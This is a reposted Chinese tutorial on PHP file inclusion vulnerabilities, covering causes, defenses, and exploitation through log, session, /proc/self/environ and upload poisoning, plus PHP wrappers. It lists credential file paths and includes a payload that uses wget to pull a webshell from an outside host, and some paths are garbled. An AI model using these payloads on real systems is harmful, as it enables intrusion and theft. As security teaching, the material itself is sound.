狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

【W(wǎng)eb滲透】文件包含漏洞


2023年12月11日 13:17 本文熱度 1573

一、文件包含漏洞概述

1.什么是文件包含

程序開發(fā)人員通常會(huì)把可重復(fù)使用的函數(shù)寫到單個(gè)文件中,在使用某個(gè)函數(shù)的時(shí)候,直接調(diào)用此文件,無需再次編寫,這種調(diào)用文件的過程通常稱為包含。

2.文件包含漏洞產(chǎn)生原理

文件包含函數(shù)加載的參數(shù)沒有經(jīng)過過濾或嚴(yán)格定義,可以被用戶控制,包含其他惡意文件,導(dǎo)致了執(zhí)行非預(yù)期代碼。

程序開發(fā)人員都希望代碼更加靈活,所以通常會(huì)把被包含的文件設(shè)置為變量來進(jìn)行動(dòng)態(tài)調(diào)用,但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用任意文件,造成文件包含漏洞

例子

$_GET['filename']參數(shù)開發(fā)者沒有經(jīng)過嚴(yán)格的過濾,直接帶入了include的函數(shù),攻擊者可以修改$_GET['filename']的值,執(zhí)行非預(yù)期的操作。

show.php即可為用戶上傳的可執(zhí)行的惡意腳本文件

包含文件內(nèi)容只要符合php語法都能被當(dāng)成php代碼進(jìn)行解析,無關(guān)后綴名是什么

特點(diǎn)

條件

  • include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件。

  • 用戶能夠控制這個(gè)動(dòng)態(tài)變量。

php相關(guān)配置

allow_url_fopen=On// 本地文件包含(LFI),但這個(gè)無論On或Off,本地文件包含都存在allow_url_include=On// 遠(yuǎn)程文件包含(RFI)

3.存在文件包含的腳本語言及應(yīng)用函數(shù)

  • php

require:函數(shù)出現(xiàn)錯(cuò)誤時(shí),會(huì)直接報(bào)錯(cuò)并退出程序執(zhí)行

require_once:出錯(cuò)直接退出;且僅包含一次。在腳本執(zhí)行期間同一個(gè)文件可能被多次引用,確保只包含一次以避免函數(shù)重定義,變量重新賦值等問題。

include:出現(xiàn)錯(cuò)誤時(shí),會(huì)出現(xiàn)警告但是程序會(huì)繼續(xù)執(zhí)行

include-once:出現(xiàn)錯(cuò)誤時(shí),會(huì)拋出警告,且僅包含一次

  • jsp/servlet

ava.io.file()

java.io.filereader()

  • asp

include file

include virtual

4.文件包含漏洞的危害

1、敏感信息泄露

2、獲取Webshell

3、任意命令執(zhí)行

常見的敏感信息路徑:

Windows系統(tǒng)

c:\boot.ini // 查看系統(tǒng)版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲(chǔ)Windows系統(tǒng)初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統(tǒng)

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認(rèn)配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網(wǎng)站配置

/usr/local/app/php5/lib/php.ini // PHP相關(guān)配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

二、文件包含漏洞類型

1.本地文件包含漏洞(LFI)

能夠讀取或執(zhí)行包含本地文件的漏洞,稱為本地文件包含漏洞。

包含服務(wù)器本身存在的惡意文件 a.txt

<?php

phpinfo();

?>

b.php

<?php

$b=$_GET['id'];

include($b);

?>

payload

localhost/b.php?id=a.txt //返回phpinfo頁面

注:

  • 兩個(gè)文件在同一目錄下(若不在同一目錄這被包含的文件路徑必須寫絕對(duì)路徑或相對(duì)路徑)(相對(duì)路徑./當(dāng)前目錄 ../上級(jí)目錄)

  • 被包含的頁面的后綴無論是什么都會(huì)當(dāng)做PHP解析

2.遠(yuǎn)程文件包含(RFI) 包含其他網(wǎng)站上的惡意文件 遠(yuǎn)程文件包含利用條件:在php.ini中allow_url_fopen=on、allow_url_include=on payload:

localhost/b.php?id=http://ip/文件路徑

注:遠(yuǎn)程包含的文件路徑必須是絕對(duì)路徑

三、常用的防御方式

  • 設(shè)置白名單

代碼在進(jìn)行文件包含時(shí),如果文件名可以確定,可以設(shè)置白名單對(duì)傳入的參數(shù)進(jìn)行比較。

  • 過濾危險(xiǎn)字符

由于Include/Require可以對(duì)PHP Wrapper形式的地址進(jìn)行包含執(zhí)行(需要配置php.ini),在 Linux環(huán)境中可以通過”../../”的形式進(jìn)行目錄繞過,所以需要判斷文件名稱是否為合法的PHP 文 件。

  • 設(shè)置文件目錄

PHP配置文件中有open_basedir選項(xiàng)可以設(shè)置用戶需要執(zhí)行的文件目錄,如果設(shè)置目錄的 話,PHP僅僅在該目錄內(nèi)搜索文件。

  • 關(guān)閉危險(xiǎn)配置

PHP配置中的allow_url_include選項(xiàng)如果打開,PHP會(huì)通過Include/Require進(jìn)行遠(yuǎn)程文件包 含,由于遠(yuǎn)程文件的不可信任性及不確定性,在開發(fā)中禁止打開此選項(xiàng),PHP默認(rèn)是關(guān)閉的。

四、常用的利用方式

1.本地文件包含配合日志文件

1、日志的默認(rèn)路徑 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用戶安裝目錄的logs目錄下 2、web中間件默認(rèn)配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 訪問http://www.xx.com/<?php phpinfo(); ?>時(shí),<?php phpinfo(); ?>也會(huì)被記錄在日志里,也可以插入到User-Agent;但是在日志里這句話被編碼了;所以用Burp Suite修改來繞過編碼;然后包含相應(yīng)的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(這里利用相對(duì)路徑,找到日志文件,并以php解析的方式打開) 4、防御 隱藏或修改默認(rèn)日志文件 設(shè)置日志文件讀取權(quán)限

找到Apache路徑,利用包含漏洞包含日志文件獲取Webshell。

Apache兩個(gè)日志文件:access.log、error.log 很多時(shí)候,web服務(wù)器會(huì)將請(qǐng)求寫入到日志文件中,比如說apache。在用戶發(fā)起請(qǐng)求時(shí),會(huì)將請(qǐng)求寫入access.log,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫入error.log。

各字段分別為:客戶端地址、訪問者標(biāo)識(shí)、訪問者的驗(yàn)證名字、請(qǐng)求時(shí)間、請(qǐng)求類型、狀態(tài)碼、發(fā)送給客戶端的字節(jié)數(shù)

當(dāng)發(fā)現(xiàn)網(wǎng)站存在包含漏洞,但無webshell文件包含,也無上傳點(diǎn)時(shí)

當(dāng)訪問不存在的資源時(shí),apache日志同樣會(huì)記錄。

訪問127.0.0.1/include/<?php phpinfo();?>,再包含日志文件

2.本地文件包含配合/proc/self/environ文件

1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、檢查proc/self/environ是否可以訪問www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可讀就注入代碼 訪問:www.aaa.com/view.php?page=../../../../../proc/self/environ 選擇User-Agent 寫代碼如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交請(qǐng)求;我們的命令將被執(zhí)行(將下載http://www.yourweb.com/oneword.txt,并將其保存為它在shell.php網(wǎng)站目錄),我們的shell也就被創(chuàng)建,.如果不行,嘗試使用exec(),因?yàn)橄到y(tǒng)可能被禁用的從php.ini網(wǎng)絡(luò)服務(wù)器. 4、訪問shell 5、防御: 設(shè)置proc/self/environ不可訪問

3.本地文件包含配合session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //讀取session文件

利用條件:

session的存儲(chǔ)位置可以獲取。

通過phpinfo的信息可以獲取到session的存儲(chǔ)位置。

通過phpinfo的信息,獲取到session.save_path為/var/lib/php/session:

通過猜測(cè)默認(rèn)的session存放位置進(jìn)行嘗試。

session中的內(nèi)容可以被控制,傳入惡意代碼。

示例:

<?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?>

漏洞分析

此php會(huì)將獲取到的GET型ctfs變量的值存入到session中。

當(dāng)訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會(huì)在/var/lib/php/session目錄下存儲(chǔ)session的值。

session的文件名為sess_+sessionid,sessionid可以通過開發(fā)者模式獲取。

所以session的文件名為sess_akp79gfiedh13ho11i6f3sm6s6。

到服務(wù)器的/var/lib/php/session目錄下查看果然存在此文件,內(nèi)容為:

username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs"

漏洞利用

通過上面的分析,可以知道ctfs傳入的值會(huì)存儲(chǔ)到session文件中,如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執(zhí)行此惡意代碼getshell。

當(dāng)訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,會(huì)在/var/lib/php/session目錄下存儲(chǔ)session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>";

攻擊者通過phpinfo()信息泄露或者猜測(cè)能獲取到session存放的位置,文件名稱通過開發(fā)者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。

4.php偽協(xié)議

PHP 文件包含漏洞姿勢(shì)總結(jié)

PHP內(nèi)置了很多URL風(fēng)格的封裝協(xié)議,可用于類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統(tǒng)函數(shù),如下所示:

  • php://filter

有一些敏感信息會(huì)保存在php文件中,如果我們直接利用文件包含去打開一個(gè)php文件,php代碼是不會(huì)顯示在頁面上的,例如打開data目錄下的config.php:

這時(shí)候我們可以以base64編碼的方式讀取指定文件的源碼:

輸入:php://filter/convert.base64-encode/resource=文件路徑

得到config.php加密后的源碼:

  • data://

利用data:// 偽協(xié)議可以直接達(dá)到執(zhí)行php代碼的效果,例如執(zhí)行phpinfo()函數(shù):

如果此處對(duì)特殊字符進(jìn)行了過濾,我們還可以通過base64編碼后再輸入:

  • zip:// 執(zhí)行壓縮文件

如果網(wǎng)站允許我們上傳壓縮文件,我們也可以將php文件壓縮后進(jìn)行上傳,再通過zip://協(xié)議執(zhí)行。

以DVWA平臺(tái)為例,我們將phpinfo.php文件進(jìn)行壓縮后上傳:

通過zip://協(xié)議執(zhí)行zip壓縮包中的phpinfo.php文件:

  • php://input

  • phar

  • 總結(jié)

5.配合文件上傳使用

有時(shí)候我們找不到文件上傳漏洞,無法上傳webshell,可以先上傳一個(gè)圖片格式的webshell到服務(wù)器,再利用本地文件包含漏洞進(jìn)行解析。

以DVWA平臺(tái)為例,編輯一個(gè)圖片馬,內(nèi)容如下:

找到上傳點(diǎn)進(jìn)行上傳:

文件保存的完整路徑為:

C:\phpStudy\WWW\hackable\uploads\webshell.jpg

DVWA平臺(tái)low等級(jí)文件包含漏洞頁面如下:

該頁面用于讀取C:\phpStudy\WWW\vulnerabilities\fi\路徑中的文件,代碼如下:

現(xiàn)在我們利用該頁面去執(zhí)行我們上傳的圖片馬,路徑需要從C:\phpStudy\WWW\vulnerabilities\fi\ 轉(zhuǎn)到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

構(gòu)造URL如下,頁面無報(bào)錯(cuò):

可以看到fi文件夾中生成了一個(gè)webshell:

使用webshell管理工具連接即可。

注:我們也可以直接在webshell.jpg中寫一句話木馬,然后再通過文件包含漏洞去連接webshell.jpg,但這種方法有時(shí)候webshell功能會(huì)出現(xiàn)異常。所以我們選擇上面的方式,生成一個(gè).php格式的一句話木馬,再去連接。

五、常用的繞過方式


該文章在 2023/12/11 16:06:02 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲(chǔ)管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved